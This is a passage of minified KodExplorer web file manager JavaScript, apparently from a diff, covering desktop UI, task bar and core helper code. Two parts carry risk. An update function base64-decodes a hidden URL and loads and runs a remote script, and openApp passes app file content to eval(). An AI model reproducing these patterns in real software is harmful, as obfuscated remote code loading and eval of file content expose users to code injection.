.file{width:"+(n+50)+"px;}",$.setStyle(a,"header_resize_width")}},s=function(a,o,s){if(!$(".frame-left").is(":hidden")){var r=Config.pageApp+"_left_tree_width",l=$.extend(!0,{},t);l[r]+=a,l[r]<=i[r]&&(l[r]=i[r]);var c=l[r],d=$(".frame-left"),p=$(".frame-resize"),u=$(".frame-right"),f=e[r];if(c>f-8&&f+8>c&&(c=f+1),s){var h=400;d.animate({width:c},h),p.animate({left:c-5},h),u.animate({left:c},h)}else d.css("width",c),p.css("left",c-5),u.css("left",c);ui.setStyle!==void 0&&ui.setStyle(),o&&(t=l,n())}},r=function(){return void 0!=$.getUrlParam("type")?!0:!1},l=function(e,a,s){var r=$.extend(!0,{},t);r[e]+=a,o(r),s&&(t=r,$.each(t,function(e,a){i[e]>=a&&(t[e]=i[e])}),n())},c=function(){$("#main_title").hasClass("bind_init")||(o(t),$("#main_title").addClass("bind_init"),$.each(e,function(e){$("#main_title ."+e+"_resize").drag({start:function(){},move:function(i){l(e,i,!1)},end:function(i){l(e,i,!0)}})}))},d=function(){var e=$(".frame-resize");e.drag({start:function(){e.addClass("active"),$(".resizeMask").css("display","block")},move:function(e){s(e,!1,!1)},end:function(i){s(i,!0,!1),e.removeClass("active"),$(".resizeMask").css("display","none")}})},p=function(){var e=G.user_config.file_icon_size;e||(e="75"),h(e,!1),u(e)},u=function(e){$(".set-file-icon-size .file-icon-size").removeClass("selected");for(var i=[["40","box-size-smallx"],["60","box-size-small"],["80","box-size-default"],["150","box-size-big"],["220","box-size-bigx"]],t=10,a="",n=0;i.length>n;n++){var o=parseInt(i[n][0]);if(e>=o-t&&o+t>=e){a=i[n][1];break}}""!=a&&$("."+a).addClass("selected")},f=function(e){G.user_config.file_icon_size=e,u(e),$.get("index.php?setting/set&k=file_icon_size&v="+e)},h=function(e,i){var t=e,a=105,n=30,o=250;"desktop"==Config.pageApp&&(n=50,o=120),t=n>=t?n:t,t=t>=o?o:t;var s=(e-n)*a/(o-n),r=20,l=10,c=parseInt(t),d=c+2*r-l+5,p=c-l,u=c-l,h=.4*c,m=c+3*r-l,v=".fileList_icon div.file{height:"+d+"px;width:"+c+"px;}";"desktop"==Config.pageApp&&(d-=5,v="div.fileList_icon div.file{height:"+d+"px;width:"+c+"px;}"),$.browser.mozilla&&(u-=4);var _="div.fileList_icon div.file{max-height:"+m+"px;}"+v+" .fileList_icon .meta_info{height:"+h+"px;width:"+h+"px; margin-right:"+.16*h+"px;margin-top:-"+1.1*h+"px;} .fileList_icon div.file .filename{width:"+c+"px;} .fileList_icon div.file .filename #pathRenameTextarea, .fileList_icon div.file .filename .newfile{width:"+c+"px;} .fileList_icon div.file .ico{padding-left:"+l/2+"px;height:"+u+"px;width:"+p+"px} .fileList_icon div.file .ico.picasaImage{width:"+p+"px;padding-left:"+l/2+"px;overflow:hidden;}";$.setStyle(_,"file_icon_resize"),$(".slider_handle").css("top",s),i&&f(e)},m=function(){var e,i=$(".slider_handle");$(".set_icon_size_slider").bind("click",function(e){return stopPP(e),!1});var t=function(i){var t=0,a=105,n=30,o=250,s=e+i;s=t>s?t:s,s=s>a?a:s;var r=parseInt(s/a*(o-n)+n);return h(r,!1),r};i.drag({start:function(){i.addClass("active"),e=parseInt(i.css("top"))},move:function(e,i){t(i)},end:function(e,a){i.removeClass("active"),f(t(a),!0)}});var a=$(".slider_bg");$(".slider_bg").unbind("click").bind("click",function(i){var n=i.clientY-a.offset().top;e=0,t(n)})},v=function(){var e=function(e,i){var t=e.parent(),a=$(".split_box").index(t),n=parseInt(t.data("before_width"))+i;if(!(150>n)){$($(".split_line").get(a)).css("width",n),t.css("width",n),$(".split_box:gt("+a+")").each(function(){$(this).hasClass("is_drag_split")||$(this).css("left",parseInt($(this).data("before_left"))+i+"px")});var o=[];$(".split_box").each(function(){o.push({left:$(this).css("left"),width:$(this).width()})}),LocalData.set("split_box_size",jsonEncode(o))}};$(".bodymain .fileList_list_split .split_drag").drag({start:function(e,i){var t=i.parent();t.addClass("is_drag_split").data("before_width",t.width()),$(".split_box,.split_line").each(function(){$(this).data("before_left",$(this).css("left"))})},move:function(i,t,a,n){e(n,i)},end:function(e,i,t,a){a.parent().removeClass("is_drag_split")}},!0),$(".file.select_split_parent").removeClass("select_split_parent"),$(".split_box").each(function(){$('.file[data-path="'+$(this).attr("data-path")+'"]').addClass("select_split_parent")}),_()},_=function(){var e=jsonDecode(LocalData.get("split_box_size")),i=0;e||(e=[]);var t=function(t,a){var n=e[a];n||(n={width:250,left:i}),i+=n.width+1,t.css({width:n.width+"px",left:n.left}) -};i=0,$(".split_box").each(function(e){t($(this),e)}),i=0,$(".split_line").each(function(e){t($(this),e)}),$(".bodymain").scrollLeft(1e5)};return{init:function(){a(),r()&&(t=e),o(t),d(),s(0,!1,!0),m()},initFileSize:p,bindSplitResize:v,bindHeaderResize:c,setFileIconSize:h}}); \ No newline at end of file +/*! power by kodexplorer ver3.43(2017-04-12) [build 1491993755092] */ +define("app/src/desktop/main",["lib/jquery-lib","lib/util","lib/contextMenu/jquery-contextMenu","lib/artDialog/jquery-artDialog","lib/picasa/picasa","../../common/taskTap","../../common/core","../../common/rightMenu","../explorer/ui","../explorer/fileContent","../explorer/path","../../common/pathOperate","../../common/pathOpen","../../common/myPlayer","../explorer/fileLight","../explorer/fileSelect","../explorer/fileListResize"],function(e){Config={BodyContent:".bodymain",FileBoxSelector:".bodymain .fileContiner",FileBoxClass:".bodymain .fileContiner .file",FileBoxClassName:"file",FileBoxTittleClass:".bodymain .fileContiner .title",SelectClass:".bodymain .fileContiner .file.select",SelectClassName:"select",TypeFolderClass:"folderBox",TypeFileClass:"fileBox",HoverClassName:"hover",FileOrderAttr:"number",pageApp:"desktop",navbar:"navbar",AnimateTime:200},e("lib/jquery-lib"),e("lib/util"),e("lib/contextMenu/jquery-contextMenu"),e("lib/artDialog/jquery-artDialog"),e("lib/picasa/picasa"),TaskTap=e("../../common/taskTap"),core=e("../../common/core"),rightMenu=e("../../common/rightMenu"),ui=e("../explorer/ui"),ui.path=e("../explorer/path"),ui.fileLight=e("../explorer/fileLight"),ui.fileSelect=e("../explorer/fileSelect"),ui.fileListResize=e("../explorer/fileListResize"),$(document).ready(function(){G.user_config.list_type="icon",core.init(),ui.init(),ui.fileLight.init(),ui.fileSelect.init(),TaskTap.init(),rightMenu.initDesktop(),ui.fileListResize.initFileSize(),$(".init_loading").fadeOut(450).addClass("pop_fadeout"),$(".fileContiner").removeClass("hidden"),e.async("lib/webuploader/webuploader-min",function(){core.uploadInit()}),$(".bodymain").click(function(){"block"==$("#menuwin").css("display")&&$("#menuwin").css("display","none"),$("body").focus()}),$(".start").click(function(){"block"==$("#menuwin").css("display")?$("#menuwin").css("display","none"):$("#menuwin").css("display","block")}),$("#menuwin").click(function(){$("#menuwin").css("display","none")}),$(".copyright").click(function(){core.copyright()}),$(".tab_hide_all").click(function(){if(0!=$.dialog.list.length){$(this).toggleClass("this");var e=!$(this).hasClass("this");$.each($.dialog.list,function(i,t){t.display(e)})}});var i='<div id="randomWallpaper"> <img class="flower animated-1000" src="'+G.static_path+'images/common/desktop/fengche.png" title="'+LNG.setting_wall+'"> <div class="body-line" ></div> </div>';$("body").append(i);var t=$("#randomWallpaper .flower");t.bind("click",function(){t.addClass("moveCircle");var e=function(e){var i=G.my_desktop+"wallpage/";$.get("./index.php?explorer/mkdir&repeat_type=replace&path="+i,function(){$.get("./index.php?explorer/serverDownload&type=download&save_path="+i+"&url="+urlEncode(e))})};core.api.randomImage(function(i){ui.setWall(i,function(){setTimeout(function(){t.removeClass("moveCircle")},100)}),$.get("index.php?setting/set&k=wall&v="+urlEncode(i)),e(i)})})})}),define("app/common/taskTap",[],function(){var e={},i="",t=160,a=function(){$(".task_tab .tab").die("mouseenter").live("mouseenter",function(){$(this).hasClass("this")||$(this).addClass("hover")}).die("mouseleave").live("mouseleave",function(){$(this).removeClass("hover")})},n=function(e){var i=e.attr("id"),t=$.dialog.list[i];if(void 0==t)return c(i),void 0;var a=$("."+i);"hidden"==a.css("visibility")?t.display(!0).zIndex():a.hasClass("aui_state_focus")?t.display(!1):t.zIndex()},o=function(){var e,i,a,o,s=!1,r=!1,l=0,c=0,d=0,p=0,u=0,f=0;$(".task_tab .tab").die("mousedown").live("mousedown",function(i){1==i.which&&(e=$(this),h(i),this.setCapture&&this.setCapture(),$(document).mousemove(function(e){m(e)}),$(document).one("mouseup",function(i){_(),this.releaseCapture&&this.releaseCapture(),10>Math.abs(i.pageX-l)&&n(e)}))});var h=function(t){s=!0,r=!0,l=t.pageX,$tab_parent=$(".task_tab"),i=$(".task_tab .tab"),$(".tasktab-dragging").remove(),a=e.clone().addClass("tasktab-dragging").prependTo("body"),p=$sizeInt(i.css("margin-right")),u=$tab_parent.width(),f=$tab_parent.get(0).getBoundingClientRect().left,f+=$(window).scrollLeft(),c=e.get(0).getBoundingClientRect().left,d=$sizeInt(i.css("width"));var n=e.get(0).getBoundingClientRect().top-$sizeInt(e.css("margin-top")),o=t.clientX-l+c;$("body").prepend("<div class='dragMaskView'></div>"),a.css({width:d+"px",top:n,left:o}),e.css("opacity",0)},m=function(t){if(r){window.getSelection?window.getSelection().removeAllRanges():document.selection.empty(),0==s&&h(t);var n=t.clientX-l+c;f>n||n>f+u-d||(a.css("left",n),i.each(function(){var i=$(this).get(0).getBoundingClientRect().left;if(n>i&&i+d/2+p>n){if(e.attr("id")==$(this).attr("id"))return;v($(this).attr("id"),"left")}if(n>i-d/2+p&&i>n){if(e.attr("id")==$(this).attr("id"))return;v($(this).attr("id"),"right")}}))}},v=function(a,n){if(!e.is(":animated")||o!=a){o=a,e.stop(!0,!0),$(".insertTemp").remove(),i=$(".task_tab .tab");var s=e.width(),r=$(".task_tab #"+a),l=e.clone(!0).insertAfter(e).css({"margin-right":"0px",border:"none"}).addClass("insertTemp");"left"==n?e.after(r).css("width","0px"):(e.before(r).css("width","0px"),r.before(l)),e.animate({width:s+"px"},t),l.animate({width:"0px"},t,function(){$(this).remove(),i=$(".task_tab .tab")})}},_=function(){r=!1,s=!1,startTime=0,$(".dragMaskView").remove(),void 0!=a&&(c=e.get(0).getBoundingClientRect().left,a.animate({left:c+"px"},t,function(){e.css("opacity",1),$(this).remove()}))}},s=function(e){var i=110,a=i,n=i+12,o=$(".task_tab .tab"),s=$(".task_tab .tabs").width()-10,r=o.length,l=Math.floor(s/n);switch(r>l&&(a=Math.floor(s/r)-12),e){case"add":$(".task_tab .tabs .this").css("width","0").animate({width:a+"px"},t);case"close":o.animate({width:a+"px"},t);break;case"resize":o.css("width",a+"px");break;default:}},r=function(i,t){$(".task_tab").removeClass("hidden");var a=t.replace(/<[^>]+>/g,""),n='<div class="tab taskBarMenu" id="'+i+'" title="'+a+'">'+t+"</div>";$(n).insertBefore(".task_tab .last"),s("add"),e[i]={id:i,name:name}},l=function(e){$(".task_tab .this").removeClass("this"),$(".task_tab #"+e).addClass("this"),i=e},c=function(i){$(".task_tab #"+i).animate({width:0},t,function(){if($(".task_tab #"+i).remove(),s("close"),0==$(".tabs .tab").length&&"desktop"!=Config.pageApp){var e=31;$(".task_tab").animate({bottom:"-"+e+"px"},200,0,function(){$(this).css({bottom:"0px"}).addClass("hidden")})}}),delete e[i]},d=function(){$('<i class="dialog_menu"></i>').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:".dialog_menu",items:{dialog_quite:{name:LNG.close,className:"dialog_quite",icon:"remove",accesskey:"q"},dialog_max:{name:LNG.dialog_max,className:"dialog_max",icon:"resize-full",accesskey:"a"},dialog_min:{name:LNG.dialog_min,className:"dialog_min",icon:"minus",accesskey:"i"},sep1:"--------",refresh:{name:LNG.refresh,className:"refresh",icon:"refresh",accesskey:"r"},open_window:{name:LNG.open_ie,className:"open_window",icon:"globe",accesskey:"b"},qrcode:{name:LNG.qrcode,className:"qrcode",icon:"qrcode",accesskey:"c"}},callback:function(e,i){var t=i.$trigger.attr("id"),a=$.dialog.list[t];switch(e){case"dialog_quite":a.close();break;case"dialog_min":a._clickMin(!1);break;case"dialog_max":a._clickMax();break;case"refresh":a.refresh();break;case"open_window":a.open_window();break;case"qrcode":core.qrcode(a.DOM.wrap.find("iframe").attr("src"));break;default:}}}),$(".aui_title img,.aui_title .x-item-file").die("click").live("click",function(e){var i=$(this).offset();i.top+=$(this).outerHeight(),$(this).parent().parent().contextMenu({x:e.pageX,y:i.top})}).die("dblclick").live("dblclick",function(){var e=$(this).parent().parent().attr("id"),i=$.dialog.list[e];i.close(),rightMenu.hidden()})},p=function(){$('<i class="taskBarMenu"></i>').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:".taskBarMenu",items:{quitOthers:{name:LNG.close_others,className:"quitOthers",icon:"remove-circle",accesskey:"o"},quit:{name:LNG.close,className:"quit",icon:"remove",accesskey:"q"}},callback:function(e,i){var t=i.$trigger.attr("id"),a=$.dialog.list[t];switch(e){case"quitOthers":$.each($.dialog.list,function(e,i){t!=e&&i.close()});break;case"quit":a.close()}}})},u=function(){$.contextMenu({zIndex:9999,selector:".task_tab",items:{closeAll:{name:LNG.dialog_close_all,icon:"remove-circle",accesskey:"q"},showAll:{name:LNG.dialog_display_all,icon:"th-large",accesskey:"s"},hideAll:{name:LNG.dialog_min_all,icon:"remove",accesskey:"h"}},callback:function(e,i){var t=i.$trigger.attr("id");switch($.dialog.list[t],e){case"showAll":$.each($.dialog.list,function(e,i){i.display(!0)});break;case"hideAll":$.each($.dialog.list,function(e,i){i.display(!1)});break;case"closeAll":$.each($.dialog.list,function(e,i){i.close()});break;default:}}})};return{add:r,focus:l,close:c,init:function(){var e='<div class="task_tab"><div class="tabs"><div class="last" style="clear:both;"></div></div></div>';$(e).appendTo("body"),"desktop"!=Config.pageApp&&$(".task_tab").addClass("hidden"),$(window).bind("resize",function(){s("resize")}),a(),d(),p(),u(),o()}}}),define("app/common/core",[],function(require,exports){tpl_search_box=require("./tpl/search.html"),tpl_search_list=require("./tpl/search_list.html"),tpl_upload=require("./tpl/upload.html"),tpl_file_info=require("./tpl/fileinfo/file_info.html"),tpl_path_info=require("./tpl/fileinfo/path_info.html"),tpl_zipview=require("./tpl/zipview.html");var search=require("./core.search"),tools=require("./core.tools"),upload=require("./core.upload"),api=require("./core.api"),playSound=require("./core.playSound"),zipView=require("./core.zipView");pathHashEncode=function(e){return hashEncode(e)},pathHashDecode=function(e){return hashDecode(e)};var initFirst=function(){if(window.require=require,template.config("escape",!1),template.config("compress",!0),template.helper("core",core),template.helper("window",window),"undefined"!=typeof G&&(1!=G.is_root&&$(".menu_system_setting").remove(),G.is_root||1==AUTH["system_member:get"]||1==AUTH["system_group:get"]||$(".menu_system_group").remove(),G.user_config&&"0"==G.user_config.animate_open&&($.dialog.defaults.animate=!1),resetHost()),$("html").bind("click",function(e){if(0==$(e.target).parents(".context-menu-list").length)try{rightMenu.hidden()}catch(e){}}),$.dialog.defaults.animate&&loadRipple(["a","button",".context-menu-item","#picker",".menuShareButton",".menuRecycleButton",".section .list"],[".disabled",".disable",".ztree",".disable-ripple"]),$("a,img").attr("draggable","false"),$.ajaxSetup({headers:{"X-CSRF-TOKEN":Cookie.get("X-CSRF-TOKEN")}}),$(".common_footer [forceWap]").click(function(){var e=$(this).attr("forceWap");Cookie.set("forceWap",e),window.location.reload()}),core.setSkinDiy(),core.tools.init(),playserSupport(),"array"==$.type(window.kodReady))for(var e=0;window.kodReady.length>e;e++)window.kodReady[e]();titleTips()},resetHost=function(){var e=window.location.port?":"+window.location.port:"";G.web_host=window.location.protocol+"//"+window.location.hostname+e+"/",G.app_host=rtrim(G.web_host,"/")+window.location.pathname.replace("index.php","")},playserSupport=function(){var e={ie:{music:["mp3","m4a","aac"],movie:["mp4","m4v","flv","mov","f4v"]},chrome:{music:["mp3","wav","m4a","aac","oga","ogg","webma"],movie:["mp4","m4v","flv","mov","f4v","ogv","webm","webmv"]}},i=!!window.ActiveXObject||"ActiveXObject"in window,t="chrome";i&&(t="ie"),core.filetypes.music=e[t].music,core.filetypes.movie=e[t].movie},titleTips=function(){isWap()||require.async(["lib/poshytip/jquery.poshytip.js","lib/poshytip/skin.css"],function(){var e=$("[title]");e.poshytip({className:"ptips-skin",liveEvents:!0,slide:!1,alignTo:"cursor",alignX:"right",alignY:"bottom",showAniDuration:150,hideAniDuration:200,offsetY:10,offsetX:20,showTimeout:function(){var e=1500;return $(this).attr("title-timeout")&&(e=parseInt($(this).attr("title-timeout"))),e},content:function(){var e=$(this).data("title.poshytip");if($(this).attr("title-data")){var i=$($(this).attr("title-data"));e=i.is("input")||i.is("textarea")?i.val():i.html()}return e=e?e:"",e.replace(/\n/g,"<br/>")}}),$("body").bind("mousedown click",function(){$(e).poshytip("hide"),$(".ptips-skin").remove()}),$("input,textarea").live("focus",function(){$(e).poshytip("hide"),$(".ptips-skin").remove()})})};return{search:search,init:initFirst,serverDwonload:upload.serverDwonload,upload:upload.upload,uploadInit:upload.init,playSound:playSound.playSound,playSoundFile:playSound.playSoundFile,zipView:function(e){new zipView(e)},tools:tools,api:api,filetypes:{image:["jpg","jpeg","png","bmp","gif","ico","svg","cur","webp"],music:["mp3","wav","m4a","aac","oga","ogg","webma"],movie:["mp4","m4v","flv","mov","f4v","ogv","webm","webmv"],doc:["doc","docx","docm","xls","xlsx","xlsb","xlsm","ppt","pptx","pptm"],archive:["zip","tar","gz","tgz","ipa","apk","rar","7z","iso","bz2","zx","z","arj"],archive_list:["zip","tar","gz","tgz","ipa","apk","rar","7z","iso","zx","z","arj"],text:["txt","textile","oexe","inc","csv","log","asc","tsv","lnk","url","webloc","meta","localized","xib","xsd","storyboard","plist","csproj","pch","pbxproj","local","xcscheme","manifest","vbproj","strings","jshintrc","sublime-project","readme","changes","changelog","version","license","changelog","abap","abc","as","asp","aspx","ada","adb","htaccess","htgroups","htgroups","htpasswd","asciidoc","adoc","asm","a","ahk","bat","cmd","cpp","c","cc","cxx","h","hh","hpp","ino","c9search_results","cirru","cr","clj","cljs","cbl","cob","coffee","cf","cson","cakefile","cfm","cs","css","curly","d","di","dart","diff","patch","dockerfile","dot","dummy","dummy","e","ge","ejs","ex","exs","elm","erl","hrl","frt","fs","ldr","ftl","gcode","feature",".gitignore","glsl","frag","vert","gbs","go","groovy","haml","hbs","handlebars","tpl","mustache","hs","hx","html","hta","htm","xhtml","eex","html.eex","erb","rhtml","html.erb","ini","inf","conf","cfg","prefs","io","jack","jade","java","ji","jl","jq","js","jsm","json","jsp","jsx","latex","ltx","bib","lean","hlean","less","liquid","lisp","ls","logic","lql","lsl","lua","lp","lucene","Makefile","makemakefile","gnumakefile","makefile","ocamlmakefile","make","md","markdown","mask","matlab","mz","mel","mc","mush","mysql","nix","nsi","nsh","m","mm","ml","mli","pas","p","pl","pm","pgsql","php","phtml","shtml","php3","php4","php5","phps","phpt","aw","ctp","module","ps1","praat","praatscript","psc","proc","plg","prolog","properties","proto","py","r","cshtml","rd","rhtml","rst","rb","ru","gemspec","rake","guardfile","rakefile","gemfile","rs","sass","scad","scala","scm","sm","rkt","oak","scheme","scss","sh","bash","bashrc","sjs","smarty","tpl","snippets","soy","space","sql","sqlserver","styl","stylus","svg","swift","tcl","tex","toml","twig","swig","ts","typescript","str","vala","vbs","vb","vm","v","vh","sv","svh","vhd","vhdl","wlk","wpgm","wtest","xml","rdf","rss","wsdl","xslt","atom","mathml","mml","xul","xbl","xaml","xq","yaml","yml","vcproj","vcxproj","filters","cer","reg","config","pem","srt","ass"],bindary:["bin","hex","zip","pdf","swf","gzip","rar","arj","tar","gz","cab","tbz","tbz2","lzh","uue","bz2","ace","exe","so","dll","chm","rtf","odp","odt","pages","class","psd","ttf","fla","7z","dmg","iso","dat","ipa","lib","a","apk","so","o"]},fileOpenMode:{ini:["inc","inf","strings"],xml:["xib","xsd","storyboard","plist","csproj","pch","pbxproj","xcscheme","config","vcproj","vcxproj","filters","webloc"],json:["oexe","jshintrc","sublime-project"],markdown:["readme","changes","version","license","changelog"]},getPathIcon:function(e,i){if(i=void 0==i?"":i,"string"==$.type(e)){var t=trim(trim(e),"/");if(e={},"{"!=t.substring(0,1)||t.split("/").length>1)return{icon:"",name:""};e.path_type=t.match(/\{.*\}/),e.id=t.split(":")[1]}var a={};a[G.KOD_USER_SHARE]={icon:"userSelf",name:LNG.my_share},a[G.KOD_GROUP_PATH]={icon:"groupSelfOwner"},a[G.KOD_GROUP_SHARE]={icon:"groupGuest"},a[G.KOD_USER_RECYCLE]={icon:"recycle",name:LNG.recycle},a[G.KOD_USER_FAV]={icon:"treeFav",name:LNG.fav},a[G.KOD_GROUP_ROOT_SELF]={icon:"groupSelfRoot",name:LNG.my_kod_group},a[G.KOD_GROUP_ROOT_ALL]={icon:"groupRoot",name:LNG.kod_group};var n=a[e.path_type];return e.path_type==G.KOD_USER_SHARE&&G.user_id!=e.id?n={icon:"user",name:i}:e.path_type==G.KOD_GROUP_PATH&&"owner"==e.role&&(n={icon:"groupSelfOwner"}),void 0==n&&(n={icon:"",name:""}),void 0==n.name&&(n.name=i),n},isSystemPath:function(e){var e=trim(trim(e),"/");if(void 0==e||"{"!=e.substring(0,1)||e.split("/").length>1)return!1;var i=e.match(/\{.*\}/),t=[G.KOD_USER_SHARE,G.KOD_GROUP_SHARE,G.KOD_USER_RECYCLE,G.KOD_USER_FAV,G.KOD_GROUP_ROOT_SELF,G.KOD_GROUP_ROOT_ALL],a=!1;return-1!==$.inArray(i[0],t)&&(a=!0),a},pathPre:function(e){if(e=trim(trim(e),"/"),void 0==e||"{"!=e.substring(0,1))return"";var i=e.match(/\{.*\}/);return i[0]},contextmenu:function(e){try{rightMenu.hidden()}catch(i){}var i=e||window.event;return i?i&&$(i.target).is("textarea")||$(i.target).is("input")||$(i.target).is("p")||$(i.target).is("pre")||0!=$(i.target).parents(".can_right_menu").length||0!=$(i.target).parents(".topbar").length||0!=$(i.target).parents(".edit_body").length||0!=$(i.target).parents(".aui_state_focus").length?!0:!1:!0},pathThis:function(e){if(!e||"/"==e)return"";var i=rtrim(this.pathClear(e),"/"),t=i.lastIndexOf("/"),a=i.substr(t+1);if(0==a.search("fileProxy")){a=urlDecode(a.substr(a.search("&path=")));var n=a.split("/");a=n[n.length-1],""==a&&(a=n[n.length-2])}return a},pathClear:function(e){if(!e)return"";var i=e.replace(/\\/g,"/");return i=i.replace(/\/+/g,"/"),i=i.replace(/\.+\//g,"/")},pathFather:function(e){var i=rtrim(this.pathClear(e),"/"),t=i.lastIndexOf("/");return i.substr(0,t+1)},pathExt:function(e){var i=trim(e,"/");return-1!=i.lastIndexOf("/")&&(i=i.substr(i.lastIndexOf("/")+1)),-1!=i.lastIndexOf(".")?i.substr(i.lastIndexOf(".")+1).toLowerCase():i.toLowerCase()},path2url:function(e,i){if("http"==e.substr(0,4))return e;void 0==i&&(i=!0);var t,a=this.pathClear(e);this.pathExt(a);var n=function(e){if(!e)return"";var i=urlEncode(e);return i=i.replace(/%2F/g,"/")};return G.is_root&&i&&a.substring(0,G.web_root.length)==G.web_root?t=G.web_host+n(a.replace(G.web_root,"")):(t=G.app_host+"index.php?explorer/fileProxy&access_token="+G.access_token+"&path="+urlEncode(a),G.share_page!==void 0&&(t=G.app_host+"index.php?share/fileProxy&user="+G.user+"&sid="+G.sid+"&path="+urlEncode(a))),t},pathReadable:function(e){if("object"!=typeof G.json_data)return!0;var i;i=G.json_data.filelist;for(var t=0;i.length>t;t++)if(i[t].path==e)return void 0==i[t].is_readable||1==i[t].is_readable?!0:!1;i=G.json_data.folderlist;for(var t=0;i.length>t;t++)if(i[t].path==e)return void 0==i[t].is_readable||1==i[t].is_readable?!0:!1;return!0},pathCurrentWriteable:function(){return"editor"==Config.pageApp?!1:G.json_data.info?G.json_data.info.can_upload:!1},authCheck:function(e,i){return G.is_root?!0:AUTH.hasOwnProperty(e)?AUTH[e]?!0:(void 0==i&&(i=LNG.no_permission),Tips.tips(i,!1),!1):!0},ajaxError:function(e){var i=e.responseText,t=$.dialog.list.ajaxErrorDialog;return Tips.close(LNG.system_error,!1),"<!--user login-->"==i.substr(0,17)?(setTimeout(function(){var e=ShareData.frameTop();e.location.reload()},500),void 0):(0==e.status&&""==i&&(i="网络连接错误 (net::ERR_CONNECTION_RESET),连接已重置<br/>请联系主机商或网管,检查防火墙配置!"),i='<div class="ajaxError">'+i+"</div>",t?t.content(i):$.dialog({id:"ajaxErrorDialog",padding:0,width:"60%",height:"50%",fixed:!0,resize:!0,ico:core.icon("error"),title:"ajax error",content:i}),void 0)},fileGet:function(e,i,t){var a="filename";"http"==e.substr(0,4)&&(a="file_url");var n="./index.php?editor/fileGet&"+a+"="+urlEncode(e);G.share_page!==void 0&&(n="./index.php?share/fileGet&user="+G.user+"&sid="+G.sid+"&"+a+"="+urlEncode(e)),"./index.php?"==e.substr(0,"./index.php?".length)&&(n=e),$.ajax({url:n,dataType:"json",error:function(e,i,a){core.ajaxError(e,i,a),"function"==typeof t&&t()},success:function(e){"function"==typeof i&&i(e.data.content,e,n)}})},fileInfo:function(e,i){var t="index.php?explorer/pathInfo";G.share_page!==void 0&&(t="index.php?share/pathInfo&user="+G.user+"&sid="+G.sid),$.ajax({url:t,type:"POST",dataType:"json",data:e,error:core.ajaxError,success:function(e){"function"==typeof i&&i(e)}})},fileLink:function(e,i){var t='list=[{"type":"file","path":"'+urlEncode(e)+'"}]&viewPage=1';this.fileInfo(t,function(e){var t=e.code?e.data.download_path:!1;return t?("function"==typeof i&&i(t),void 0):(Tips.tips(LNG.no_permission_action+"==>"+LNG.group_role_pathinfo,!1),void 0)})},setting:function(e){void 0==e&&(e=G.is_root?"system":"user"),ShareData.frameTop("Opensetting_mode")?ShareData.frameTop("Opensetting_mode",function(i){i.Setting.setGoto(e),$.dialog.list.setting_mode.display(!0)}):$.dialog.open("./index.php?setting#"+e,{id:"setting_mode",fixed:!0,ico:core.icon("setting"),resize:!0,title:LNG.setting,width:1100,height:660})},copyright:function(){var e=require("./tpl/copyright.html"),i=template.compile(e),t=ShareData.frameTop();t.art.dialog({id:"copyright_dialog",bottom:0,right:0,simple:!0,resize:!1,title:LNG.about+" kod",width:425,padding:"0",fixed:!0,content:i({LNG:LNG,G:G})}),t.$(".copyright_dialog").addClass("animated-700 zoomIn")},qrcode:function(e,i){"./"==e.substr(0,2)&&(e=G.app_host+e.substr(2));var t="./index.php?user/qrcode&url="+quoteHtml(urlEncode(e)),a="<a href='"+quoteHtml(e)+"' s='"+e+"' target='_blank'><img src='"+t+"' style='border:1px solid #eee;'/></a>";$.dialog({follow:i,fixed:!0,resize:!1,title:LNG.qrcode,padding:30,content:a})},appStore:function(){var e=ShareData.frameTop();e.$.dialog.open("./index.php?app",{id:"app_store",fixed:!0,ico:core.icon("appStore"),resize:!0,title:LNG.app_store,width:900,height:550})},openWindow:function(e){var i=ShareData.frameTop(),t=i.$.dialog.open(e,{fixed:!0,resize:!0,width:"80%",height:"75%"});return t},openDialog:function(e,i,t,a){if(e){void 0==a&&(a="openDialog"+UUID());var n="<iframe frameborder='0' name='Open"+a+"' src='"+htmlEncode(e)+"' style='width:100%;height:100%;border:0;'></iframe>",o=ShareData.frameTop(),s=o.$.dialog({id:a,fixed:!0,title:t,ico:i,width:"75%",height:"70%",padding:0,content:n,resize:!0});return s}},openApp:function(app){if("url"==app.type){var icon=app.icon;-1==app.icon.search(G.static_path)&&"http"!=app.icon.substring(0,4)&&(icon=G.static_path+"images/file_icon/icon_app/"+app.icon),"number"!=typeof app.width&&-1===app.width.search("%")&&(app.width=parseInt(app.width)),"number"!=typeof app.height&&-1===app.height.search("%")&&(app.height=parseInt(app.height)),app.width||(app.width="90%"),app.height||(app.height="70%");var dialog_info={resize:app.resize,fixed:!0,ico:core.iconSrc(icon),title:app.name.replace(".oexe",""),width:app.width,height:app.height,simple:app.simple,padding:0},top=ShareData.frameTop();"swf"==core.pathExt(app.content)?(dialog_info.content=core.createFlash(app.content),top.$.dialog(dialog_info)):top.$.dialog.open(app.content,dialog_info)}else{var exec=app.content;eval("{"+exec+"}")}},update:function(){setTimeout(function(){var e=base64Decode("Ly9zdGF0aWMua2FsY2FkZGxlLmNvbS91cGRhdGUvbWFpbi5qcw==")+"?a="+UUID();require.async(e,function(e){try{e.todo("check")}catch(i){}})},200)},openPath:function(e){"undefined"!=typeof Config&&"explorer"==Config.pageApp?ui.path.list(e,"tips"):core.explorer(e)},explorer:function(e,i){void 0==e&&(e=""),void 0==i&&(i=core.pathThis(e));var t="./index.php?/explorer&type=iframe&path="+e;G.share_page!==void 0&&(t="./index.php?share/folder&type=iframe&user="+G.user+"&sid="+G.sid+"&path="+e);var a=ShareData.frameTop(),n=a.$.dialog.open(t,{className:"dialogExplorer",resize:!0,fixed:!0,ico:core.icon("folder"),title:i,width:"80%",height:"75%"}),o=20*a.$(".dialogExplorer").length;n.DOM.wrap.css({left:"+="+o+"px",top:"+="+o+"px"})},explorerCode:function(e){void 0==e&&(e="");var i="index.php?/editor&project="+e;G.share_page!==void 0&&(i="./index.php?share/code_read&user="+G.user+"&sid="+G.sid+"&project="+e),window.open(i)},setSkinFinished:function(){var e=$(".setSkin_finished").attr("src");e&&($("#link_css_list").attr("href",e),$(".setSkin_finished").remove())},setSkin:function(e){LocalData.set("theme",e),G.user_config.theme=e;var i=G.static_path+"style/skin/"+e+".css";i!=$("#link_css_list").attr("href")&&$("body").append('<img src="'+i+'" onload="core.setSkinFinished();" onerror="core.setSkinFinished();" class="hidden setSkin_finished">'),this.setSkinDiy()},setSkinDiy:function(){if(G.user_config){var e=LocalData.get("theme"),i="kod_diy_style",t=LocalData.getConfig(i);"object"!=typeof t&&"object"==typeof 